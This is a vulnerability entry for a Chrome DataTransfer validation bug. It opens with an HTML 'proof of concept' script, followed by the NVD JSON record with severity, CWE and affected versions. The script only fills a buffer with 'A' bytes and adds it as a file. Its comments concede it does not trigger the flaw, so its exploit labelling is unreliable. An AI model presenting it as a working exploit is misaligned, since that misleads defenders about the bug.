CVE-2026-7989

<!-- Proof of Concept for CVE-2026-7989 --> <!-- This script demonstrates the potential trigger context --> <script> // Simulate a scenario where the renderer is compromised // and attempts to exploit DataTransfer validation function triggerExploit() { try { // Create a DataTransfer object const dt = new DataTransfer(); // Crafted payload to test validation logic // In a real exploit, specific data patterns would trigger OOB access const maliciousData = new ArrayBuffer(0x1000); const view = new Uint8Array(maliciousData); // Fill with pattern to manipulate memory layout for(let i=0; i<view.length; i++) { view[i] = 0x41; // 'A' } // Attempt to set data (The vulnerable operation) // Depending on the specific bug, this might be setData, items, or files dt.items.add(new File([maliciousData], 'exploit.bin')); console.log("Payload injected into DataTransfer."); // Further interaction would be needed to trigger the read/write // e.g., dragging the element or accessing clipboard } catch (e) { console.error("Exploit trigger failed: " + e.message); } } window.onload = triggerExploit; </script>

{"cve": {"id": "CVE-2026-7989", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:49.783", "lastModified": "2026-05-08T20:16:33.150", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient data validation in DataTransfer in Google Chrome prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to perform arbitrary read/write via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/498765082", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}